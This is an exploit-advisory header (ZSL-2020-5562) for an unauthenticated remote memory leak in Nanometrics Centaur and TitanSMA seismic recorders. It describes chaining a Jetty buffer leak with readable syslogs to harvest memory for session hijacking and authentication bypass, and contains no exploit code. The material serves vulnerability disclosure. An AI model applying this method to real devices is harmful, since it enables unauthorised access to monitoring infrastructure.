# Exploit Title: Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak
# Date: 2020-02-15
# Author: byteGoblin
# Vendor: https://www.nanometrics.ca
# Product: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
# CVE: N/A
#
# Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit
#
#
# Vendor: Nanometrics Inc.
# Product page: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product page: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
#
# Affected versions:
#   Centaur  <= 4.3.23
#   TitanSMA <= 4.2.20
#
# Summary:
#   The Centaur Digital Recorder is a portable geophysical sensing acquisition system that consists
#   of a high-resolution 24-bit ADC, a precision GNSS-based clock, and removable storage capabilities.
#   Its ease of use simplifies high performance geophysical sensing deplayments in both remote and
#   networked environments. Optimized for seismicity monitoring, the Centaur is also well-suited for
#   infrasound and similar geophysical sensor recording applications requiring sample rates up to
#   5000 sps.
#
# Summary:
#   The TitanSMA is a strong motion accelerograph designed for high precision observational and
#   structural engineering applications, where scientists and engineers require exceptional dynamic
#   range over a wide frequency band.
#
# Description:
#   An information disclosure vulnerability exists when Centaur and TitanSMA fail to properly protect
#   critical system logs such as 'syslog'. Additionally, the implemented Jetty version (9.4.z-SNAPSHOT)
#   suffers from a memory leak of shared buffers that was (supposedly) patched in Jetty version 9.2.9.v20150224.
#   As seen in the aforementioned products, the 'patched' version is still vulnerable to the buffer leakage.
#   Chaining these vulnerabilities allows an unauthenticated adversary to remotely send malicious HTTP
#   packets, and cause the shared buffer to 'bleed' contents of shared memory and store these in system
#   logs. Accessing these unprotected logfiles reveal parts of the leaked buffer (up to 17 bytes per sent
#   packet) which can be combined to leak sensitive data which can be used to perform session hijacking
#   and authentication bypass scenarios.
#
# Tested on:
#   Jetty 9.4.z-SNAPSHOT
#
# Vulnerability discovered by:
#   byteGoblin @ zeroscience.mk

#
# Advisory ID: ZSL-2020-5562
